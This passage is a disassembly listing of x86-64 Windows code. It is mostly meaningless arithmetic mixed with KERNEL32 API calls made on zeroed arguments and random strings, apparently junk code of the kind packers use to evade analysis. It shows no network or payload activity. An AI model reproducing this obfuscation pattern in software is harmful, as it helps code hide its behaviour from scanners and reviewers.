mov word [rsp + 0xc24], ax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
mov byte [rsp + 0x3b1], al
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xcb50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x655c], eax
mov rax, qword [rsp + 0xce70]
mov rcx, qword [0x1401c8a88]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcce0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc990]
mov rax, qword [rax]
mov qword [rsp + 0xd118], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcad8], rax
mov rax, qword [rsp + 0xd0b0]
movzx eax, word [rax]
mov word [0x1401c8c08], ax
lea rdx, [rsp + 0x262c8]
mov rcx, qword [rsp + 0xc850]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x62b0], eax
movzx eax, word [rsp + 0xf00]
mov rcx, qword [rsp + 0xc9a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x20c4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x64b4], eax
lea rcx, [rsp + 0x1fdf8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0xab]
mov rcx, qword [rsp + 0xc438]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x187], al
mov eax, dword [rsp + 0x5b70]
mov rcx, qword [rsp + 0xcdb8]
mov qword [rsp + 0xd120], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd120]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xcb48]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcc88]
mov rcx, qword [rsp + 0xce10]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb180], rax
movzx ecx, word [rsp + 0x1f28]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fa4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0xa270]
mov qword [rsp + 0xd128], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rax, qword [rsp + 0xce60]
movsx eax, byte [rax]
movsx ecx, byte [0x1401c8a27]
add eax, ecx
mov byte [rsp + 0xb2], al
mov rcx, qword [rsp + 0xc458]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x64a8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd130], rax
lea rax, [rsp + 0x6154]
mov qword [rsp + 0xd138], rax
mov rax, qword [rsp + 0xd0f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc9e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x17bc], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc650], rax
mov r9d, 0x14f0
xor r8d, r8d
lea rdx, [rsp + 0xcd78]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6394], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
lea rcx, [rsp + 0x20158]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xcd00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcbd0]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401c8b28], ax
mov rax, qword [rsp + 0xcc38]
mov rcx, qword [rsp + 0xc3a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xc540]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov word [rsp + 0x2234], ax
mov rax, qword [rsp + 0xcd98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f68]
sub eax, ecx
mov rcx, qword [rsp + 0xca78]
mov word [rcx], ax
mov rax, qword [rsp + 0xc878]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc680]
mov qword [rsp + 0xd140], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd140]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xbb50], rax
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xc588]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbfd8], rax
mov rax, qword [rsp + 0xc570]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x56b8]
shl eax, cl
mov dword [rsp + 0x6664], eax
mov rax, qword [rsp + 0xc9d8]
movzx eax, byte [rax]
mov byte [rsp + 0x3b2], al
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9cc]
sub eax, ecx
mov word [rsp + 0x13ec], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x65c0], eax
mov rax, qword [rsp + 0xce10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x98d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x1401c8a60]
mov qword [rcx], rax
lea rax, [rsp + 0x3ae]
mov qword [rsp + 0xd148], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
lea rcx, [rsp + 0x1d570]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1d548]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rcx, [rsp + 0x1ffd8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x6674]
mov ecx, dword [rsp + 0x57b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x64e8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xcca8], rax
movzx eax, word [rsp + 0x1928]
mov word [rsp + 0x2238], ax
mov edx, 0x1904
mov rcx, qword [rsp + 0xcbb8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6694], eax
lea rcx, [rsp + 0x1fd38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx ecx, word [rsp + 0x1fc4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f88], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1d480]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xcca8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x62b8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
movzx eax, word [rsp + 0x2188]
mov rcx, qword [rsp + 0xc618]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2234], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd150], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
movzx ecx, word [rsp + 0x20b4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x215c], ax
mov rax, qword [0x1401c8a68]
mov rcx, qword [rsp + 0xc910]
mov qword [rsp + 0xd158], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd158]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xca68], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6698], eax
mov rax, qword [rsp + 0xc430]
mov ecx, dword [rsp + 0x6634]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6138], eax
mov rcx, qword [rsp + 0xc418]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd098], rax
mov r9d, 1
lea r8, [rsp + 0xc578]
mov rdx, qword [rsp + 0xd160]
mov rcx, qword [rsp + 0xc880]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6650], eax
movsx eax, byte [rsp + 0x375]
mov rcx, qword [rsp + 0xcc98]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2b6], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x65d8], eax
mov rax, qword [rsp + 0xc268]
movzx eax, word [rax]
mov word [rsp + 0x223c], ax
lea rax, [rsp + 0xdac]
mov qword [0x1401c8c10], rax
mov rax, qword [rsp + 0xc680]
mov rcx, qword [rsp + 0xb680]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb180], rax
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
cqo
mov rcx, qword [rsp + 0xc738]
idiv qword [rcx]
mov qword [rsp + 0xc118], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0xbc18]
mov rcx, qword [rsp + 0xb7b8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa620], rax
movsx eax, word [rsp + 0x2148]
movsx ecx, word [0x1401c8a10]
sub eax, ecx
mov word [rsp + 0x2098], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd168], rax
mov rcx, qword [rsp + 0xc998]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x1e8]
mov qword [rsp + 0xd170], rax
mov rax, qword [rsp + 0xc4a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb5e0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0e0], rax
mov eax, dword [rsp + 0x6058]
mov rcx, qword [rsp + 0xc400]
mov qword [rsp + 0xd178], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd178]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6464], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov eax, dword [rsp + 0x6440]
mov dword [rsp + 0x669c], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x65d8], eax
mov rax, qword [rsp + 0xd148]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a1]
sar eax, cl
mov byte [rsp + 0x18a], al
mov rax, qword [0x1401c8b50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2130]
sub eax, ecx
mov word [0x1401c70f4], ax
movzx eax, word [rsp + 0x938]
mov word [rsp + 0x2240], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
movzx eax, word [rsp + 0x2050]
movzx ecx, word [rsp + 0x1fd8]
add eax, ecx
mov word [rsp + 0x1fd0], ax
mov rax, qword [rsp + 0xca00]
mov rcx, qword [rsp + 0xc878]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa8e0], rax
lea rcx, str.QSn1EKXU4dS_3ljyh_FC
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2244], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc678], rax
movsx eax, byte [rsp + 0x6b]
movsx ecx, byte [rsp + 0x393]
add eax, ecx
mov byte [rsp + 0x3a7], al
lea rdx, [rsp + 0x263e0]
mov rcx, qword [rsp + 0xcdc8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x65ac], eax
lea rcx, [rsp + 0x1d4d0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [0x1401c7008]
mov ecx, dword [rsp + 0x58b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6494], eax
mov rax, qword [rsp + 0xcec0]
mov rax, qword [rax]
mov qword [rsp + 0xd180], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f68]
or eax, ecx
mov word [rsp + 0x2238], ax
lea rcx, [rsp + 0x1fbe8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx ecx, word [rsp + 0x1fc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2248], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0xca48]
movzx eax, word [rax]
mov rcx, qword [0x1401c8c10]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1370], ax
lea rdx, [rsp + 0x26418]
mov rcx, qword [rsp + 0xc440]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x632c], eax
mov rax, qword [rsp + 0xcda0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x96c0]
and rcx, rax
mov rax, rcx
mov qword [0x1401c8bc8], rax
movzx eax, word [rsp + 0x2210]
mov rcx, qword [0x1401c8c00]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xdac], ax
mov rax, qword [rsp + 0xc6b8]
mov rax, qword [rax]
cqo
movabs rcx, 0x784b5a3f21bb15
idiv rcx
mov rcx, qword [rsp + 0xcf68]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc9c0]
mov qword [rsp + 0xd188], rax
mov rax, qword [0x1401c8ac0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa408]
shr rax, cl
mov qword [rsp + 0xa270], rax
mov rax, qword [rsp + 0xc328]
movzx eax, byte [rax]
mov byte [rsp + 0x3b3], al
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
imul eax, eax, 0xf5
mov rcx, qword [rsp + 0xc438]
mov byte [rcx], al
mov eax, dword [0x1401c8a1c]
mov ecx, dword [rsp + 0x5790]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6630], eax
lea rax, [rsp + 0x59b4]
mov qword [rsp + 0xd190], rax
mov rax, qword [rsp + 0xc698]
movzx eax, word [rax]
mov word [0x1401c8c18], ax
mov rax, qword [rsp + 0xc9e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc4e0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1928], ax
movzx ecx, word [rsp + 0x21e4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fa4], ax
mov r9d, 0x2089
xor r8d, r8d
lea rdx, [rsp + 0xd168]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6698], eax
movzx eax, word [0x1401c8bd8]
mov rcx, qword [rsp + 0xc7f0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1244], ax
movzx eax, word [rsp + 0x2008]
mov rcx, qword [rsp + 0xccf0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x14a0], ax
mov rax, qword [rsp + 0xc8e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x397]
sub eax, ecx
mov byte [rsp + 0x3af], al
lea rcx, str.IW6Z.P6BNGiHX_HdlgEtK_VMauD4dM
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x224c], ax
mov rax, qword [rsp + 0xc430]
mov eax, dword [rax]
mov dword [rsp + 0x66a0], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x64b4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rcx, qword [rsp + 0xcd58]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6458], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x20128]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0x21b0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20f4], ax
mov rax, qword [rsp + 0xcce0]
mov rcx, qword [rsp + 0xcc40]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0xd0a0], rax
movzx ecx, word [rsp + 0x1f18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2250], ax
movsx eax, word [0x1401c70c0]
movsx ecx, word [rsp + 0x2000]
sub eax, ecx
mov word [rsp + 0x9ac], ax
lea rcx, [rsp + 0x1fbb8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x2188]
movzx ecx, word [rsp + 0x2234]
add eax, ecx
mov word [rsp + 0x92c], ax
lea rcx, [rsp + 0x1d408]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov rax, qword [rsp + 0xcc88]
mov rcx, qword [0x1401c7010]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c8be0], rax
mov rax, qword [rsp + 0xca00]
mov rax, qword [rax]
mov qword [rsp + 0xd198], rax
lea rcx, [rsp + 0x1d638]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rcx, qword [rsp + 0xd0e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x660c], eax
mov rax, qword [rsp + 0xca00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xab60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaef0], rax
mov rax, qword [rsp + 0xcf68]
mov rcx, qword [rsp + 0xcc38]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xab28], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6444], eax
movzx eax, word [rsp + 0xa88]
movzx ecx, word [rsp + 0x848]
xor eax, ecx
mov word [rsp + 0x1c98], ax
lea rcx, [rsp + 0x1fc48]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0x3ae]
movzx ecx, byte [rsp + 0x2d8]
and eax, ecx
mov byte [rsp + 0x3a1], al
mov rax, qword [rsp + 0xcaf8]
mov eax, dword [rax]
mov dword [rsp + 0x66a4], eax
mov eax, dword [rsp + 0x6610]
mov rcx, qword [rsp + 0xcb50]
mov qword [rsp + 0xd1a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd1a0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xc5d8]
mov dword [rcx], eax
lea rcx, [0x1401acef0]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2254], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rax, qword [0x1401c8ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcb70]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9710], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc288], rax
mov rax, qword [rsp + 0xc8e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39b]
shl eax, cl
mov byte [reloc.SHELL32.dll_PathYetAnotherMakeUniqueName], al
mov rcx, qword [rsp + 0xc978]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.iuiOdfbzD0_nGDvPRb4nOq7CECzX
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd1a8], rax
movzx eax, word [rsp + 0x2184]
mov word [rsp + 0x2258], ax
movsx eax, word [rsp + 0x2030]
movsx ecx, word [rsp + 0xc48]
sub eax, ecx
mov word [rsp + 0xfa0], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
lea rax, [rsp + 0x2080]
mov qword [rsp + 0xd1b0], rax
lea rcx, [rsp + 0x1fbe8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rcx, qword [rsp + 0xc3d0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x647c], eax
mov rax, qword [rsp + 0xc680]
mov rcx, qword [rsp + 0xc390]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc3c8]
mov qword [rcx], rax
mov rax, qword [0x1401c8a40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6490]
shl eax, cl
mov dword [rsp + 0x6554], eax
mov rax, qword [rsp + 0xcd28]
mov rcx, qword [rsp + 0xcb00]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xba90], rax
mov rax, qword [rsp + 0xcb10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x380]
sar eax, cl
mov byte [rsp + 0x3b2], al
mov rax, qword [rsp + 0xcd98]
movzx eax, word [rax]
mov word [rsp + 0x225c], ax
mov rax, qword [rsp + 0xcbb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcdf0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c70e0], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd1b8], rax
mov rax, qword [rsp + 0xcf68]
mov rcx, qword [0x1401c8a90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcb18], rax
movzx eax, word [rsp + 0x1f84]
movzx ecx, word [rsp + 0x2158]
and eax, ecx
mov word [rsp + 0x190c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x6690]
mov ecx, dword [rsp + 0x6524]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x650c], eax
movzx ecx, word [rsp + 0x204c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f34], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xca88]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x38d], al
movzx eax, byte [rsp + 0x65]
mov byte [rsp + 0x3b4], al
mov rax, qword [rsp + 0xcfa8]
mov rcx, qword [rsp + 0xc400]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xc8c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcdd0]
mov rax, qword [rax]
mov qword [rsp + 0xd1c0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0x137c]
movsx ecx, word [rsp + 0x2150]
shl eax, cl
mov word [rsp + 0x2128], ax
movzx eax, word [rsp + 0x21c4]
mov word [0x1401c8c1c], ax
mov rax, qword [rsp + 0xc990]
mov rax, qword [rax]
imul rax, qword [0x1401c8ba0]
mov rcx, qword [rsp + 0xc878]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc738]
mov rcx, qword [rsp + 0xbb50]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9538], rax
lea rcx, [rsp + 0x1fca8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
mov rcx, qword [0x1401c8b80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1808], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
movzx ecx, word [rsp + 0x20f8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2260], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
movzx eax, word [rsp + 0x1fac]
mov word [rsp + 0x2264], ax
mov rcx, qword [rsp + 0xc290]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x2c3]
mov rcx, qword [rsp + 0xc4f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3b2], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov rax, qword [rsp + 0xd180]
movzx ecx, al
mov rax, qword [rsp + 0xb5e0]
shr rax, cl
mov qword [rsp + 0xc780], rax
mov edx, 0x19f7
mov rcx, qword [rsp + 0xc478]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x66a8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov r9d, 0x1896
xor r8d, r8d
lea rdx, [rsp + 0xd130]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6574], eax
movzx ecx, word [rsp + 0x1f98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2268], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0xce20]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x65d4]
shl eax, cl
mov dword [rsp + 0x5b84], eax
movzx ecx, word [rsp + 0x20c8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f80], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd1c8], rax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0x9f58]
mov rcx, qword [rsp + 0xcf30]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc420], rax
movsx eax, word [rsp + 0x1bf8]
mov rcx, qword [rsp + 0xc698]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401c8a14], ax
movzx ecx, word [rsp + 0x20c8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20b4], ax
movzx eax, word [rsp + 0x1f94]
mov word [rsp + 0x226c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd1d0], rax
mov rax, qword [rsp + 0xd148]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a6]
sub eax, ecx
mov byte [rsp + 0x18a], al
lea rdx, [rsp + 0x260d0]
mov rcx, qword [rsp + 0xc8a0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x651c], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd108], rax
mov eax, dword [rsp + 0x6200]
mov ecx, dword [rsp + 0x6690]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6440], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0xd0f8]
mov qword [rsp + 0xd1d8], rax
lea rdx, [rsp + 0x262c8]
mov rcx, qword [rsp + 0xc470]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x64fc], eax
mov rax, qword [rsp + 0xcce0]
mov rcx, qword [rsp + 0xa270]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xce70], rax
mov eax, dword [rsp + 0x62f4]
mov dword [rsp + 0x66ac], eax
movzx ecx, word [rsp + 0x21f0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2270], ax
mov rax, qword [rsp + 0xc328]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc668]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2b6], al
movsx eax, word [rsp + 0x1928]
movsx ecx, word [rsp + 0x1d04]
